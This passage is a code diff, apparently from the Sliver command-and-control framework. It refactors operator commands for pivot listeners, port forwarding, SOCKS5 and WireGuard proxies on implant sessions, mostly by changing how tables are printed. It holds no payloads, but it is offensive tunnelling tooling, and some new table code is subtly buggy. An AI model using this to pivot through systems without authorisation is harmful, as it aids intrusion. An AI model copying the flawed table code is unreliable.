||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// StopPivotListenerCmd - Start a TCP pivot listener on the remote system
|
||||
func StopPivotListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
id := uint32(ctx.Flags.Int("id"))
|
||||
if id == uint32(0) {
|
||||
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if len(pivotListeners.Listeners) == 0 {
|
||||
con.PrintInfof("No pivot listeners running on this session\n")
|
||||
return
|
||||
}
|
||||
selectedListener, err := SelectPivotListener(pivotListeners.Listeners, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
id = selectedListener.ID
|
||||
}
|
||||
_, err := con.Rpc.PivotStopListener(context.Background(), &sliverpb.PivotStopListenerReq{
|
||||
ID: id,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Stopped pivot listener\n")
|
||||
}
|
||||
@@ -1,34 +0,0 @@
|
||||
package pivots
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// TCPListenerCmd - Start a TCP pivot listener on the remote system
|
||||
func TCPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
server := ctx.Flags.String("server")
|
||||
lport := uint16(ctx.Flags.Int("lport"))
|
||||
address := fmt.Sprintf("%s:%d", server, lport)
|
||||
|
||||
_, err := con.Rpc.TCPListener(context.Background(), &sliverpb.TCPPivotReq{
|
||||
Address: address,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Listening on tcp://%s", address)
|
||||
}
|
||||
@@ -19,19 +19,22 @@ package portfwd
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// PortfwdCmd - Display information about tunneled port forward(s)
|
||||
func PortfwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
PrintPortfwd(con)
|
||||
}
|
||||
|
||||
// PrintPortfwd - Print the port forward(s)
|
||||
func PrintPortfwd(con *console.SliverConsoleClient) {
|
||||
portfwds := core.Portfwds.List()
|
||||
if len(portfwds) == 0 {
|
||||
con.PrintInfof("No port forwards\n")
|
||||
@@ -40,18 +43,22 @@ func PortfwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
sort.Slice(portfwds[:], func(i, j int) bool {
|
||||
return portfwds[i].ID < portfwds[j].ID
|
||||
})
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
fmt.Fprintf(table, "ID\tSession ID\tBind Address\tRemote Address\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("ID")),
|
||||
strings.Repeat("=", len("Session ID")),
|
||||
strings.Repeat("=", len("Bind Address")),
|
||||
strings.Repeat("=", len("Remote Address")),
|
||||
)
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Session ID",
|
||||
"Bind Address",
|
||||
"Remote Address",
|
||||
})
|
||||
for _, p := range portfwds {
|
||||
fmt.Fprintf(table, "%d\t%d\t%s\t%s\t\n", p.ID, p.SessionID, p.BindAddr, p.RemoteAddr)
|
||||
tw.AppendHeader(table.Row{
|
||||
p.ID,
|
||||
p.SessionID,
|
||||
p.BindAddr,
|
||||
p.RemoteAddr,
|
||||
})
|
||||
}
|
||||
table.Flush()
|
||||
con.Printf("%s", outputBuf.String())
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -44,22 +44,46 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
|
||||
mtlsC2 := generate.ParseMTLSc2(ctx.Flags.String("mtls"))
|
||||
mtlsC2, err := generate.ParseMTLSc2(ctx.Flags.String("mtls"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, mtlsC2...)
|
||||
|
||||
wgC2 := generate.ParseWGc2(ctx.Flags.String("wg"))
|
||||
wgC2, err := generate.ParseWGc2(ctx.Flags.String("wg"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, wgC2...)
|
||||
|
||||
httpC2 := generate.ParseHTTPc2(ctx.Flags.String("http"))
|
||||
httpC2, err := generate.ParseHTTPc2(ctx.Flags.String("http"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, httpC2...)
|
||||
|
||||
dnsC2 := generate.ParseDNSc2(ctx.Flags.String("dns"))
|
||||
dnsC2, err := generate.ParseDNSc2(ctx.Flags.String("dns"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, dnsC2...)
|
||||
|
||||
namedPipeC2 := generate.ParseNamedPipec2(ctx.Flags.String("named-pipe"))
|
||||
namedPipeC2, err := generate.ParseNamedPipec2(ctx.Flags.String("named-pipe"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, namedPipeC2...)
|
||||
|
||||
tcpPivotC2 := generate.ParseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
|
||||
tcpPivotC2, err := generate.ParseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, tcpPivotC2...)
|
||||
|
||||
if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
|
||||
|
||||
@@ -31,8 +31,8 @@ import (
|
||||
"gopkg.in/AlecAivazis/survey.v1"
|
||||
)
|
||||
|
||||
// SocksAddCmd - Add a new tunneled port forward
|
||||
func SocksAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// SocksStartCmd - Add a new tunneled port forward
|
||||
func SocksStartCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
@@ -27,18 +27,18 @@ import (
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// SocksRmCmd - Remove an existing tunneled port forward
|
||||
func SocksRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// SocksStopCmd - Remove an existing tunneled port forward
|
||||
func SocksStopCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
socksID := ctx.Flags.Int("id")
|
||||
if socksID < 1 {
|
||||
con.PrintErrorf("Must specify a valid portfwd id\n")
|
||||
con.PrintErrorf("Must specify a valid socks5 id\n")
|
||||
return
|
||||
}
|
||||
found := core.SocksProxies.Remove(socksID)
|
||||
if !found {
|
||||
con.PrintErrorf("No portfwd with id %d\n", socksID)
|
||||
con.PrintErrorf("No socks5 with id %d\n", socksID)
|
||||
} else {
|
||||
con.PrintInfof("Removed portfwd\n")
|
||||
con.PrintInfof("Removed socks5\n")
|
||||
}
|
||||
|
||||
// close
|
||||
@@ -174,7 +174,9 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
|
||||
}
|
||||
return nil, nil, nil
|
||||
}
|
||||
func Completer(con *console.SliverConsoleClient, prefix string, args []string) (results []string) {
|
||||
|
||||
// BeaconAndSessionIDCompleter - BeaconAndSessionIDCompleter for beacon / session ids
|
||||
func BeaconAndSessionIDCompleter(prefix string, args []string, con *console.SliverConsoleClient) (results []string) {
|
||||
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return
|
||||
|
||||
@@ -62,7 +62,7 @@ func WebsitesAddContentCmd(ctx *grumble.Context, con *console.SliverConsoleClien
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
displayWebsite(web, con)
|
||||
PrintWebsite(web, con)
|
||||
}
|
||||
|
||||
func webAddDirectory(web *clientpb.WebsiteAddContent, webpath string, contentPath string) {
|
||||
|
||||
@@ -50,5 +50,5 @@ func WebsitesRmContent(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to remove content %s", err)
|
||||
return
|
||||
}
|
||||
displayWebsite(web, con)
|
||||
PrintWebsite(web, con)
|
||||
}
|
||||
@@ -39,5 +39,5 @@ func WebsitesUpdateContentCmd(ctx *grumble.Context, con *console.SliverConsoleCl
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
displayWebsite(web, con)
|
||||
PrintWebsite(web, con)
|
||||
}
|
||||
@@ -20,14 +20,14 @@ package websites
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
@@ -75,21 +75,23 @@ func ListWebsiteContent(websiteName string, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
if 0 < len(website.Contents) {
|
||||
displayWebsite(website, con)
|
||||
PrintWebsite(website, con)
|
||||
} else {
|
||||
con.PrintInfof("No content for '%s'", websiteName)
|
||||
}
|
||||
}
|
||||
|
||||
func displayWebsite(web *clientpb.Website, con *console.SliverConsoleClient) {
|
||||
// PrintWebsite - Print a website and its contents, paths, etc.
|
||||
func PrintWebsite(web *clientpb.Website, con *console.SliverConsoleClient) {
|
||||
con.Println(console.Clearln + console.Info + web.Name)
|
||||
con.Println()
|
||||
table := tabwriter.NewWriter(con.App.Stdout(), 0, 2, 2, ' ', 0)
|
||||
fmt.Fprintf(table, "Path\tContent-type\tSize\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("Path")),
|
||||
strings.Repeat("=", len("Content-type")),
|
||||
strings.Repeat("=", len("Size")))
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Path",
|
||||
"Content-type",
|
||||
"Size",
|
||||
})
|
||||
sortedContents := []*clientpb.WebContent{}
|
||||
for _, content := range web.Contents {
|
||||
sortedContents = append(sortedContents, content)
|
||||
@@ -98,7 +100,11 @@ func displayWebsite(web *clientpb.Website, con *console.SliverConsoleClient) {
|
||||
return sortedContents[i].Path < sortedContents[j].Path
|
||||
})
|
||||
for _, content := range sortedContents {
|
||||
fmt.Fprintf(table, "%s\t%s\t%d\t\n", content.Path, content.ContentType, content.Size)
|
||||
tw.AppendHeader(table.Row{
|
||||
content.Path,
|
||||
content.ContentType,
|
||||
content.Size,
|
||||
})
|
||||
}
|
||||
table.Flush()
|
||||
con.Println(tw.Render())
|
||||
}
|
||||
@@ -50,7 +50,7 @@ func WGPortFwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
pfwdAdd, err := con.Rpc.WGStartPortForward(context.Background(), &sliverpb.WGPortForwardStartReq{
|
||||
portfwdAdd, err := con.Rpc.WGStartPortForward(context.Background(), &sliverpb.WGPortForwardStartReq{
|
||||
LocalPort: int32(localPort),
|
||||
RemoteAddress: remoteAddr,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
@@ -61,9 +61,9 @@ func WGPortFwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
if pfwdAdd.Response != nil && pfwdAdd.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", pfwdAdd.Response.Err)
|
||||
if portfwdAdd.Response != nil && portfwdAdd.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", portfwdAdd.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Port forwarding %s -> %s:%s\n", pfwdAdd.Forwarder.LocalAddr, remoteHost, remotePort)
|
||||
con.PrintInfof("Port forwarding %s -> %s:%s\n", portfwdAdd.Forwarder.LocalAddr, remoteHost, remotePort)
|
||||
}
|
||||
@@ -19,15 +19,13 @@ package wireguard
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// WGPortFwdListCmd - List WireGuard port forwards
|
||||
@@ -44,12 +42,10 @@ func WGPortFwdListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
fwdList, err := con.Rpc.WGListForwarders(context.Background(), &sliverpb.WGTCPForwardersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
if fwdList.Response != nil && fwdList.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", fwdList.Response.Err)
|
||||
return
|
||||
@@ -59,18 +55,22 @@ func WGPortFwdListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if len(fwdList.Forwarders) == 0 {
|
||||
con.PrintInfof("No port forwards\n")
|
||||
} else {
|
||||
outBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outBuf, 0, 3, 3, ' ', 0)
|
||||
fmt.Fprintf(table, "ID\tLocal Address\tRemote Address\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("ID")),
|
||||
strings.Repeat("=", len("Local Address")),
|
||||
strings.Repeat("=", len("Remote Address")))
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Protocol",
|
||||
"Port",
|
||||
})
|
||||
for _, fwd := range fwdList.Forwarders {
|
||||
fmt.Fprintf(table, "%d\t%s\t%s\t\n", fwd.ID, fwd.LocalAddr, fwd.RemoteAddr)
|
||||
tw.AppendRow(table.Row{
|
||||
fwd.ID,
|
||||
fwd.LocalAddr,
|
||||
fwd.RemoteAddr,
|
||||
})
|
||||
}
|
||||
table.Flush()
|
||||
con.Println(outBuf.String())
|
||||
con.Println(tw.Render())
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -19,15 +19,13 @@ package wireguard
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// WGSocksListCmd - List WireGuard SOCKS proxies
|
||||
@@ -44,30 +42,30 @@ func WGSocksListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
socksList, err := con.Rpc.WGListSocksServers(context.Background(), &sliverpb.WGSocksServersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
if socksList.Response != nil && socksList.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", socksList.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
if socksList.Servers != nil {
|
||||
if len(socksList.Servers) > 0 {
|
||||
outBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outBuf, 0, 3, 3, ' ', 0)
|
||||
fmt.Fprintf(table, "ID\tLocal Address\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t\n",
|
||||
strings.Repeat("=", len("ID")),
|
||||
strings.Repeat("=", len("Local Address")))
|
||||
if 0 < len(socksList.Servers) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Local Address",
|
||||
})
|
||||
for _, server := range socksList.Servers {
|
||||
fmt.Fprintf(table, "%d\t%s\t\n", server.ID, server.LocalAddr)
|
||||
tw.AppendRow(table.Row{
|
||||
server.ID,
|
||||
server.LocalAddr,
|
||||
})
|
||||
}
|
||||
table.Flush()
|
||||
con.Println(outBuf.String())
|
||||
con.Println(tw.Render())
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -97,36 +97,38 @@ const (
|
||||
KickOperatorStr = "kick-operator"
|
||||
MultiplayerModeStr = "multiplayer"
|
||||
|
||||
SessionsStr = "sessions"
|
||||
BackgroundStr = "background"
|
||||
InfoStr = "info"
|
||||
UseStr = "use"
|
||||
ReconfigStr = "reconfig"
|
||||
PruneStr = "prune"
|
||||
TasksStr = "tasks"
|
||||
GenerateStr = "generate"
|
||||
RegenerateStr = "regenerate"
|
||||
CompilerStr = "info"
|
||||
StagerStr = "stager"
|
||||
ProfilesStr = "profiles"
|
||||
BeaconStr = "beacon"
|
||||
BeaconsStr = "beacons"
|
||||
WatchStr = "watch"
|
||||
SettingsStr = "settings"
|
||||
SessionsStr = "sessions"
|
||||
BackgroundStr = "background"
|
||||
InfoStr = "info"
|
||||
UseStr = "use"
|
||||
ReconfigStr = "reconfig"
|
||||
PruneStr = "prune"
|
||||
TasksStr = "tasks"
|
||||
GenerateStr = "generate"
|
||||
RegenerateStr = "regenerate"
|
||||
CompilerInfoStr = "info"
|
||||
StagerStr = "stager"
|
||||
ProfilesStr = "profiles"
|
||||
BeaconStr = "beacon"
|
||||
BeaconsStr = "beacons"
|
||||
WatchStr = "watch"
|
||||
SettingsStr = "settings"
|
||||
SearchStr = "search"
|
||||
|
||||
// Generic
|
||||
|
||||
// NewStr - "new"
|
||||
NewStr = "new"
|
||||
AddStr = "add"
|
||||
StartStr = "start"
|
||||
StopStr = "stop"
|
||||
SetStr = "set"
|
||||
UnsetStr = "unset"
|
||||
SaveStr = "save"
|
||||
ReloadStr = "reload"
|
||||
LoadStr = "load"
|
||||
TablesStr = "tables"
|
||||
NewStr = "new"
|
||||
AddStr = "add"
|
||||
StartStr = "start"
|
||||
StopStr = "stop"
|
||||
SetStr = "set"
|
||||
UnsetStr = "unset"
|
||||
SaveStr = "save"
|
||||
ReloadStr = "reload"
|
||||
LoadStr = "load"
|
||||
TablesStr = "tables"
|
||||
DetailsStr = "details"
|
||||
|
||||
LootStr = "loot"
|
||||
LootLocalStr = "local"
|
||||
@@ -146,7 +148,7 @@ const (
|
||||
HttpStr = "http"
|
||||
HttpsStr = "https"
|
||||
NamedPipeStr = "named-pipe"
|
||||
TCPListenerStr = "tcp-pivot"
|
||||
TCPListenerStr = "tcp"
|
||||
|
||||
MsfStr = "msf"
|
||||
MsfInjectStr = "msf-inject"
|
||||
@@ -186,8 +188,11 @@ const (
|
||||
MigrateStr = "migrate"
|
||||
SideloadStr = "sideload"
|
||||
SpawnDllStr = "spawndll"
|
||||
ExtensionStr = "extension"
|
||||
LoadMacroStr = "load-macro"
|
||||
ExtensionsStr = "extensions"
|
||||
InstallStr = "install"
|
||||
ListStr = "list"
|
||||
ArmoryStr = "armory"
|
||||
AliasesStr = "aliases"
|
||||
StageListenerStr = "stage-listener"
|
||||
|
||||
WebsitesStr = "websites"
|
||||
@@ -206,7 +211,7 @@ const (
|
||||
RegistryListSubStr = "list-subkeys"
|
||||
RegistryListValuesStr = "list-values"
|
||||
RegistryCreateKeyStr = "create"
|
||||
PivotsListStr = "pivots-list"
|
||||
PivotsStr = "pivots"
|
||||
WgConfigStr = "wg-config"
|
||||
WgSocksStr = "wg-socks"
|
||||
WgPortFwdStr = "wg-portfwd"
|
||||
@@ -216,7 +221,7 @@ const (
|
||||
InteractiveStr = "interactive"
|
||||
|
||||
PortfwdStr = "portfwd"
|
||||
Socks5Str = "socks5"
|
||||
Socks5Str = "socks5"
|
||||
|
||||
ReactionStr = "reaction"
|
||||
|
||||
@@ -236,6 +241,6 @@ const (
|
||||
SliverHelpGroup = "Sliver:"
|
||||
SliverWinHelpGroup = "Sliver - Windows:"
|
||||
MultiplayerHelpGroup = "Multiplayer:"
|
||||
MacroHelpGroup = "Sliver - 3rd Party macros:"
|
||||
AliasHelpGroup = "Sliver - 3rd Party macros:"
|
||||
ExtensionHelpGroup = "Sliver - 3rd Party extensions:"
|
||||
)
|
||||
@@ -1,5 +1,23 @@
|
||||
package core
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
|
||||
@@ -22,6 +22,7 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net"
|
||||
"sync"
|
||||
"time"
|
||||
@@ -30,7 +31,6 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/bishopfox/sliver/util/leaky"
|
||||
)
|
||||
|
||||
@@ -43,7 +43,6 @@ var (
|
||||
SocksConnPool = sync.Map{}
|
||||
SocksProxyID = 0
|
||||
)
|
||||
var coreLog = log.NamedLogger("ClientCore", "sessions")
|
||||
|
||||
// PortfwdMeta - Metadata about a portfwd listener
|
||||
type SocksProxyMeta struct {
|
||||
@@ -121,7 +120,7 @@ func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
|
||||
SocksConnPool.Delete(p.TunnelID)
|
||||
continue
|
||||
}
|
||||
coreLog.Debugf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(p.Data))
|
||||
log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(p.Data))
|
||||
//fmt.Printf("recv data len %d \n", len(p.Data))
|
||||
_, err := n.Write(p.Data)
|
||||
if err != nil {
|
||||
@@ -151,7 +150,7 @@ func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
|
||||
Request: &commonpb.Request{SessionID: rpcSocks.SessionID},
|
||||
})
|
||||
}
|
||||
coreLog.Infof("Socks Stop -> %s\n", tcpProxy.BindAddr)
|
||||
log.Printf("Socks Stop -> %s\n", tcpProxy.BindAddr)
|
||||
tcpProxy.Listener.Close()
|
||||
proxy.CloseSend()
|
||||
return nil
|
||||
@@ -193,7 +192,7 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
|
||||
|
||||
SocksConnPool.Store(frame.TunnelID, conn)
|
||||
|
||||
coreLog.Infof("tcp conn %q<--><-->%q \n", conn.LocalAddr(), conn.RemoteAddr())
|
||||
log.Printf("tcp conn %q<--><-->%q \n", conn.LocalAddr(), conn.RemoteAddr())
|
||||
|
||||
buff := leakyBuf.Get()
|
||||
defer leakyBuf.Put(buff)
|
||||
@@ -209,7 +208,7 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
|
||||
if n > 0 {
|
||||
frame.Data = buff[:n]
|
||||
frame.Sequence = ToImplantSequence
|
||||
coreLog.Debugf("[socks] (User to Client) to Server to agent Data Sequence %d , Data Size %d \n", ToImplantSequence, len(frame.Data))
|
||||
log.Printf("[socks] (User to Client) to Server to agent Data Sequence %d , Data Size %d \n", ToImplantSequence, len(frame.Data))
|
||||
err := stream.Send(frame)
|
||||
if err != nil {
|
||||
return
|
||||
|
||||
@@ -290,6 +290,30 @@ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
======================================================================================================
|
||||
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2018-2021 Frank Denis
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
======================================================================================================
|
||||
|
||||
Copyright (c) 2009 The Go Authors. All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
|
||||
@@ -33,6 +33,8 @@ import (
|
||||
|
||||
var SessionMapper *PreludeSessionMapper
|
||||
|
||||
const defaultImplantSleep = 5
|
||||
|
||||
type OperatorConfig struct {
|
||||
Range string
|
||||
OperatorURL string
|
||||
@@ -88,7 +90,7 @@ func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
|
||||
Links: make([]Instruction, 0),
|
||||
Executing: "",
|
||||
Pwd: pwd,
|
||||
Sleep: 3,
|
||||
Sleep: defaultImplantSleep,
|
||||
}
|
||||
|
||||
if p.conf.AESKey == "" {
|
||||
@@ -103,6 +105,7 @@ func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
|
||||
Address: p.conf.OperatorURL,
|
||||
Pid: int(s.PID),
|
||||
Executing: make(map[string]Instruction),
|
||||
Sleep: defaultImplantSleep,
|
||||
}
|
||||
util.EncryptionKey = &agentConfig.AESKey
|
||||
agentSession := NewAgentSession(&conn, s, p.conf.RPC, beacon, agentConfig)
|
||||
|
||||
+4
-5
@@ -19,7 +19,7 @@
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.17.3"
|
||||
GO_VER="1.17.5"
|
||||
GARBLE_VER="1.17.5"
|
||||
